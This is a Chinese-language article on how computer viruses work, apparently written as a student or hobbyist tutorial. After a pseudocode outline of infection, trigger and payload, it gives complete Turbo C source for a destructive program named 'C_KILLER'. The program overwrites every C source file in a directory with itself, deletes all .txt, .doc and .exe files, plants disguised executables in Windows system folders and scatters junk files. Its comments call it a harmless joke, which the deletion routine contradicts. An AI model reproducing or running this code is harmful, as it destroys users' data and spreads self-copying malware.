[摘要]在分析病毒機理的基礎上,用C語言寫了一個小病毒作為執行個體,用TURBOC2.0實現.
[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
一、什麼是病毒
惡意軟體可能是第一個對我們產生影響的電腦安全問題.所以病毒在資訊安全中是很重要的.
我們要對付病毒,就要瞭解病毒.
寫一些病毒是一個很好的辦法.
如果要寫一個病毒,先要知道它是什麼.可以給病毒一個定義,這一定義是被廣泛認可的。Frederic Cohen博士在《電腦病毒簡短講座》中提到的:
“……一種能夠通過修改自身來包括或釋放自我拷貝而傳染給其他程式的程式。“
其實病毒和普通程式並無太大不同,而且通常比較簡單,不像很多程式那樣複雜。只不過病毒裡面用到一些正常程式一般不會用到的技術。
要編製一個病毒,首先要知道病毒的運行機理。
不論是何種病毒,它一般在結構上分為三個功能模組:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本
原因。我們可以用一段類C偽碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄資訊,重新格式化你的磁碟,把它自己郵給你的E_mail通訊者都可以成為有效負荷。簡單的有效負荷可以如下進行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
二、 編製病毒的語言
最常見的編製病毒的語言有組合語言、VB、C 語言等,我們可以來看一看一個有名的病毒論壇上認為學寫病毒要掌握的基礎:
1).Win32編程,進程,線程,記憶體,等等。
2).32位彙編,以指令用法為主。386彙編就比較夠用了。
3).PE格式,有精力還可以看一下其它可能被感染的檔案的檔案格式。
4).調試技術。VC,TD32,SoftIce,等等。
要掌握的東西確實很多,還多聽都沒聽過,很嚇人.但實際上,即使我們對電腦的原理和作業系統不很瞭解,而且不熟悉除C
以外的其他語言,只要我們對C的庫函數有一定瞭解,就可以寫一些類似病毒的東西.
三 用C編製病毒
以TurboC2.0為例.它的庫函數可以實現很多功能.
如以下兩個函數:
1).findfirst和findnext函數:在dir.h。findfirst用來找各種類型的檔案,可以得到檔案名稱檔案長度,檔案屬性等,findnext和findfirst配合使用,用來找到下一個同類型的檔案。
2).remove函數:在stdio.h.只要知道檔案名稱,可以刪除任意類型的檔案.
四 我寫的C病毒
<<電腦病毒解密>>上有一句比較經典的話,"或許把惡意軟體造成的損害說成是心理上的損害
可能會更恰當一些".從這個意義上說,我的病毒是非常典型的病毒.
下面是我寫的病毒.
它主要由四個模組組成.
RubbishMaker()可用來在目前的目錄下產生大量隨機命名的垃圾檔案.
CreatEXE()將在C盤的敏感地方放置幾個.exe垃圾,它們要隱蔽一些。
Remove()會刪掉你的一些東西,所以千萬不要隨便運行這個程式.
Breed()是C_KILLER的精華所在,它將kill所有的c程式,並利用它們繁殖自身.
前三個是承載.
第四個可以說是它的感染機制.
/**********************************IN FACT,IT"S NOT A VIRYUS AT ALL.**********************************/#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>/* copy outfile to infile */void copyfile(char *infile, char *outfile){ FILE *in,*out; in = fopen(infile,"r"); out = fopen(outfile,"w"); while (!feof(in)) { fputc(fgetc(in),out); } fclose(in); fclose(out);}/*This function named Rubbishmaker.*/void MakeRubbish(){ int i; FILE *fp; char *path; char *NewName; char *disk[7] = {"A","B","C","D","E","F","G"}; char *addtion = ":\\"; /* Make some rubbish at the current catalogue */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX" ; NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); }/* make some rubbish at the root catalogue */ path = strcat(disk[getdisk()],addtion); /* get the root catalogue */ chdir(path); /*change directory according to the "path" */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX"; NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); }}/* This function can creat some .exe or .com documents in the sensitive place. Don't worry,It's only a joke.It will do no harm to your computer.*/void CreatEXE(){ int i; char *path; char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"}; for ( i = 0; i < 2; i++) { open(s[i], 0x0100,0x0080); copyfile( "C_KILLER.C",s[i]); }}/* remove something from your computer */void Remove(){ int done; int i; struct ffblk ffblk; char *documenttype[3] = {"*.txt","*.doc","*.exe"}; for (i = 0; i < 3; i++) { done = findfirst(documenttype[i],&ffblk,2); while (!done) { remove(ffblk.ff_name); done = findnext(&ffblk); } }}/* overlay the c programs */void Breed(){ int done; struct ffblk ffblk; done = findfirst("*.c",&ffblk,2); while (!done) { if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ) { copyfile("C_KILLER.C",ffblk.ff_name); } done = findnext(&ffblk); }}void main(){ printf("THERE IS A VIRUS BY XIAOKE.\n\n"); Breed(); Remove(); CreatEXE(); printf("COULD YOU TELL ME YOUR NAME?\n\n"); printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n"); MakeRubbish(); getchar(); printf("IT'S ONLY A JOKE! THANK YOU!\n\n"); clrscr(); system("cmd");}